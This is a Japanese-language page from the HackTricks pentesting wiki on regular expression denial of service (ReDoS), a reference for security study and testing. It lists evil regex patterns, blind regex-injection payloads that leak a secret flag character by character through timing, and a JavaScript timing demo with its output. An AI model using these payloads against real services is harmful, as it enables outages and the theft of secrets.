hacktricks/src/pentesting-web/regular-expression-denial-of-service-redos.md

81 lines
4.6 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 正規表現サービス拒否 - ReDoS
{{#include ../banners/hacktricks-training.md}}
# 正規表現サービス拒否 (ReDoS)
**正規表現サービス拒否 (ReDoS)** は、誰かが正規表現(テキスト内のパターンを検索して一致させる方法)の動作の弱点を利用する場合に発生します。正規表現が使用されると、特に処理するテキストのサイズが大きくなると、非常に遅くなることがあります。この遅さは、テキストサイズがわずかに増加するだけで急速に悪化することがあります。攻撃者はこの問題を利用して、正規表現を使用するプログラムが長時間正常に動作しないようにすることができます。
## 問題のある正規表現のナイーブアルゴリズム
**詳細は [https://owasp.org/www-community/attacks/Regular*expression_Denial_of_Service*-\_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS) を確認してください**
## 悪意のある正規表現 <a href="#evil-regexes" id="evil-regexes"></a>
悪意のある正規表現パターンとは、**作成された入力に引っかかり、DoSを引き起こす**ことができるものです。悪意のある正規表現パターンは、通常、繰り返しを伴うグループ化や、繰り返しまたは交互の重複を含んでいます。悪意のあるパターンのいくつかの例は次のとおりです:
- (a+)+
- ([a-zA-Z]+)\*
- (a|aa)+
- (a|a?)+
- (.\*a){x} for x > 10
これらはすべて、入力 `aaaaaaaaaaaaaaaaaaaaaaaa!` に対して脆弱です。
## ReDoS ペイロード
### ReDoSによる文字列の抽出
CTFまたはバグバウンティでは、**正規表現が一致する機密情報(フラグ)を制御している**かもしれません。その場合、**正規表現が一致した場合にページをフリーズ(タイムアウトまたは長い処理時間)させる**ことが有用です。そうすることで、**文字を1文字ずつ抽出**することができます:
- [**この投稿**](https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets) では、このReDoSルールを見つけることができます: `^(?=<flag>)((.*)*)*salt$`
- 例: `^(?=HTB{sOmE_fl§N§)((.*)*)*salt$`
- [**この解説**](https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html) では、次のものを見つけることができます: `<flag>(((((((.*)*)*)*)*)*)*)!`
- [**この解説**](https://ctftime.org/writeup/25869) では、次のものを使用しました: `^(?=${flag_prefix}).*.*.*.*.*.*.*.*!!!!$`
### ReDoSの入力と正規表現の制御
以下は、**入力**と**正規表現**の両方を**制御**する**ReDoS**の例です:
```javascript
function check_time_regexp(regexp, text) {
var t0 = new Date().getTime()
new RegExp(regexp).test(text)
var t1 = new Date().getTime()
console.log("Regexp " + regexp + " took " + (t1 - t0) + " milliseconds.")
}
// This payloads work because the input has several "a"s
;[
// "((a+)+)+$", //Eternal,
// "(a?){100}$", //Eternal
"(a|a?)+$",
"(\\w*)+$", //Generic
"(a*)+$",
"(.*a){100}$",
"([a-zA-Z]+)*$", //Generic
"(a+)*$",
].forEach((regexp) => check_time_regexp(regexp, "aaaaaaaaaaaaaaaaaaaaaaaaaa!"))
/*
Regexp (a|a?)+$ took 5076 milliseconds.
Regexp (\w*)+$ took 3198 milliseconds.
Regexp (a*)+$ took 3281 milliseconds.
Regexp (.*a){100}$ took 1436 milliseconds.
Regexp ([a-zA-Z]+)*$ took 773 milliseconds.
Regexp (a+)*$ took 723 milliseconds.
*/
```
## ツール
- [https://github.com/doyensec/regexploit](https://github.com/doyensec/regexploit)
- [https://devina.io/redos-checker](https://devina.io/redos-checker)
## 参考文献
- [https://owasp.org/www-community/attacks/Regular*expression_Denial_of_Service*-\_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)
- [https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets](https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets)
- [https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html](https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html)
- [https://ctftime.org/writeup/25869](https://ctftime.org/writeup/25869)
{{#include ../banners/hacktricks-training.md}}